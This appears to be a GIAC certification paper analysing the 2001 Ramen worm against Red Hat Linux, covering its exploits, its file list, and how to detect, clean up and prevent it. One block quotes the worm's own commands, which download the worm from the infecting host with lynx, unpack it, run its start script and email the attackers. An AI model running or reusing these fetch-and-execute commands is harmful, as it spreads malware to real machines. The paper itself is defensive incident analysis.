Global Information Assurance Certification Paper

Ramen: Noodles You Don't Want
Greg Jansky

January 18th started like any other day. I got in to work, had breakfast, and then started surfing the linux security web sites. At a couple of the sites, I saw a posting about a linux specific worm called Ramen. After seeing a bunch of these postings, I figured I had better read one and ensure my systems were not being compromised without my knowledge. What I read surprised me: a worm targeting Red Hat servers was slowly spreading across the internet. My systems run Red Hat, 6.0 specifically; I read on.

The Ramen worm gets its name from the index.html files of the servers it has infected. A couple of the notable servers that were infected were: NASA, Texas A&M University, and SuperMicro, a hardware manufacturer. The worm appears to exploit servers running Red Hat 6.2 or Red Hat 7.0 by taking advantage of vulnerable services that have not been upgraded or patched. Specifically, Red Hat services that are attacked are the rpc services and wuftpd. For Red Hat 7.0, the scripts take advantage of LPRng. So, while the servers exploited were 6.2 or 7.0, I did not worry, as I was not running the vulnerable distribution. Other systems not known to be vulnerable (before the worm is modified:) Red Hat 7.0, for intel – Second Addition, distributions from Red Hat that are previous to 6.2, non-Intel versions of Linux, non-Red Hat versions of Linux, and any other versions of unix. My interest was sparked, so I found a copy of the file ramen.tgz to learn more about this worm.

A note on two of the tools used in the Ramen package. Synscan is the scanner of choice. Sycscan works by having many separate processes each do some of the TCP connections. The main process forks off a child, that sends SYNs to all the addresses in a randomly generated address list. The main process listens for responses. Upon receiving a response, the main process forks another child process that checks the vulnerabilities. Finally, the main process sends a packet to www.microsoft.de from port 31337. This is a signal that the child processes have finished all of the scans assigned to them. Source code for Synscan can be found at http://www.psychoid.lam3rz.de. The second tool worth a mention is asp, a user supplied service in the worm. This service receives connections on port 27374 and responds by sending a copy of the worm to the victim.

Almost every source I read mentioned the same thing: the worm seems to be a package of readily available attack tools put together and controlled by a script. The first thing the infected machine will do is run the start.sh script. This script replaces index.html files, removes the /etc/hosts.deny file, differentiates between the Red Hat 6.2 targets and Red Hat 7.0 targets and copies the appropriate binaries in place for synscan (the scanner), .w (ftp exploit), l (lpd exploit), .s (statd exploit), and randb (class b net ip generator.) Finally, it appends the appropriate start-up script in /etc/rc.d/rc.sysinit. Scanning commences.

The attack begins with a scan of the target's FTP banner. Depending on what is returned from the banner, IP addresses are written to either a "Red Hat 6.2 exploitable" file or a "Red Hat 7.0 exploitable" file. From there, two scripts direct attacks against those specific servers.

For Red Hat 6.2 machines, the first attack attempted is an exploit against wuftpd. Apparently, the wuftpd exploit is not correctly written. Following that, an attack against nfsd is run. The rpc.statd strings format is used. If this is successful a portbinding shell code causes a suid rootshell to listen on port 39168, effectively creating a backdoor on the victim machine. Asp then sends the worm over to the victim machine and email is generated. The following commands are run:

```
mkdir /usr/src/.poop; cd /usr/src/.poop
export TERM=vt100
lynx –source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip –d ramen.tgz; tar –xvf ramen.tar; ./start.sh
echo Eat Your Ramen! | mail –s TOADDR –c gb31337@hotmail.com gb31337@yahoo.com
```

FROMADDR is the address of the infecting machine; the TOADDR is the infected machine. The Red Hat 7.0 exploit runs the same commands. The exploit to get into a Red Hat machine exploits a bug in LPRng.

The above commands, which are run on the infected machine, do the following: First, a small http server is installed on port 27374 (a common windows trojan port.) This is so the worm can spread itself. The worm then identifies the IP address and hostname of the infected machine and closes the holes it used to get in. Lastly, a file that contains RameN Crew, a picture of Ramen Noodles, and the saying "Hackers looooove noodles" replaces the sites index.html files, including files on remotely mounted file systems.

A list of the files I found in my tgz:

asp	file to start the pseudo-webserver
asp62	server for Red Hat 6.2 to serve out the worm on request
asp7	Red Hat 7.0 version
bd62.sh	setup for worm – Red Hat 6.2
bd7.sh	Red Hat 7.0 version
getip.sh	get the IP of the infected machine
hackl.sh	reads .l file and passes addresses to lh.sh
hackw.sh	reads .w file and passes addresses to wh.sh
index.html	new index.html file with Noodles
l62	LPRng format string exploit
l7	Red Hat 7.0 version
lh.sh	script to start l62 or l7
randb62	random IP generator – class b subnets
randb7	Red Hat 7.0 version
s62	statdx exploit
s7	Red Hat 7.0 version

scan.sh	gets addresses from randb6.2/7 and start synscan
start.sh	master start script. See above.
start62.sh	start scan (in background), hackl.sh, and hackw.sh
start7.sh	Red Hat 7.0 version
synscan62	modified synscan stool – uses .w and .l files
synscan7	Red Hat 7.0 version
w62	venglin wu-ftpd exploit
w7	Red Hat 7.0 version
wh.sh	script to driect s and w scripts against a target
wu62	probably a mistake, never called

The functionality could have been improved. There are programs not called and an attack run that is configured incorrectly. Also, there appears to be no attempt to hide any of the activities.

As worms go, I wold consider this worm to be relatively harmless; save for the bandwidth being used to find and attack other machines. A lot of the worms you read about that infect windows machines carry extremely malicious payloads: deleting system files, corrupting system services, and/or compromising the administrator accounts for malicious purposes. Finally, while other worms install backdoors to allow for further damage, Ramen not only has no known backdoor, but also fixes the holes used to get in.

Determining if Ramen is on your machine is not that difficult. The easiest method would be a quick examination of all index.html files. Any file that includes the Ramen noodle signature is a positive sign of infection. Another major indication of infection by Ramen is the creation of the /usr/src/.poop directory. One method that would take due diligence, a simple check of the ftp logs show connections that are time stamped eight hours ahead of the actual connection. If you run 'lsof –l' and see the asp services listening, you can assume Ramen is serving itself out. Finally, and unexplainable increase in bandwidth usage or connections on port 27374 could indicate the presence of Ramen, and bears more exploration.

Cleaning up from a Ramen infection is not that difficult. First and foremost, patch the vulnerable service that was used to get in. This will prevent further Ramen break-ins. Next, remove /usr/src/.poop/start*.sh from any start-up scripts. Remove both the /usr/src/.poop directory and /tmp/ramen.tgz. Change either xinetd.conf or inetd.conf to not include /sbin/asp. Some versions of Ramen remove the /etc/hosts.deny file; so you may have to restore this file. Restore any Ramen index.html files with the originals. Finally, reboot the system to remove any active daemons related to the worm.

If you are running a Red 6.2 or 7.0 server, it will only be a matter of time before your logs show potential connection attempts that could be Ramen knocking on the door. There are many ways to prevent infection; all of which involve being proactive. As with any worm, modification could produce new entry points into the server, but the following points will help decrease the chance of infection.

One simple solution would be to change the date of compilation of the ftp server as broadcast in the FTP banner. The worm currently looks for two dates, which are signatures for the various versions of ftpd. As the worm gets more sophisticated, it may use another banner, or signature in the banner.

In my opinion, one of the largest measures that can be taken to protect your system, either Red Hat 6.2 or 7.0, is to patch the vulnerable services. Patches for these vulnerabilities have been available from the Red Hat web site since late 2000. The point should be made that an administrator should take all the security advisories seriously, and patch the vulnerability. The Ramen worm highlights the main reason why administrators should patch a newly built server. Most distributions are notorious for poor installations; be it the servers are unprotected or make use of easily exploitable services.

The use of TCP Wrappers and firewalls will aid in limiting who uses or has access to the system. Packet filtering outbound packets on port 27374 will prevent vulnerable computers from acquiring Ramen. Blocking 27374 inbound would prevent outside computers from acquiring Ramen from your machines.

Finally, knowing your system is important. Monitoring logs, watching account activity, and knowing what needs patching and what is patched will aid in containing malicious exploits. Increasingly, new administrators will unintentionally ignore warnings because they do not know what the ramifications are to their systems.

I saw the Ramen worm as big news for the linux community. You hear a lot of news in the Windows world of new viruses, worms and malware, which you don't typically in the linux community. I believe that Raman is wake-up call. Most sites do not believe the Ramen package was home written, rather it was a hodge podge of already written scripts, packaged together to work as one. Because of this, there is widespread use by "script kiddies" and that widespread use will lead to modifications. At the time of this writing, there are confirmed sightings of the worm with new web page replacements. Also, as the usage spreads, exclusive Red Hat attacks will be replaced by attacks on other distribution's vulnerabilities. Ultimately, worms with significantly worse payloads will be developed based on the Ramen architecture.

As linux makes its way onto more and more desktops, and proliferates as a server operating system, we will see more and more linux specific worms. Keeping abreast of linux vulnerabilities and package/service patches will be the greatest weapons against these new worms. Finally, distribution manufacturers can learn from Ramen to create distributions that are more secure out of the box; be it with more secure services or lessening the need to harden the system.

Resources:

My copy of the worm was downloaded at:
htpp://hwa-security.net/hot.html

CERT. "CERT Incident Note IN-2001-01" January 18, 2001. URL:

http://www.cert.org/incident_notes/IN-2001-01.html. (2/12/01)

Dunham, Ken. "Top Ramen – Noodles for script kiddies." January 19, 2001. URL: http://securityportal.com/articles/ramen20010119.html (2/15/01).

Lemos, Robert. "Vandals mutate Ramen Linux Worm." January 23, 2001. URL: http://www.zdnet.co.uk/news/2001/3/ns-20442.html.

Martin, Daniel. "Ramen Worm." February 2001. URL: http://members.home.net/dmartin24/ramen_worm.txt. 2/12/01.

Rachard, Kevin. "Ramen and the Dangers of Default Linux Configurations – worming into Red Hat Linux." URL: http://www.linuxplanet.com/linuxplanet/opinions/2921/1/ (2/15/01).

Thomas, Benjamin D. "Security is an interactive sport: Lessons learned from Ramen." January 29, 2001. URL: http://www.linuxsecurity.com/feature_stories/feature_story-75.html. (2/15/01).

Vision, Max. "Ramen Internet Worm Analysis." URL: http://www.whitehats.com/print/library/worms/ramen/ (2/17/01).

UTC. "Ramen "in-the-wild" – NASA, Texas A&M, SuperMicro Hit." January 29, 2001. URL: http://linuxpr.com/releases/3230.html. (2/15/01)

Ward, Mark. "Linux virus [sic] infection fears." January 18, 2001. URL: http://news.bbc.co.uk/hi/english/sci/tech/newsid_1123000/1123827.stm. (2/15/01).

Zaborav, Dev. "Stopping the Ramen Worm." February 2001. URL: http://www.linuxworld.com/linuxworld/lw-2001-02/lw-02-ramenworm.html. (2/15/01).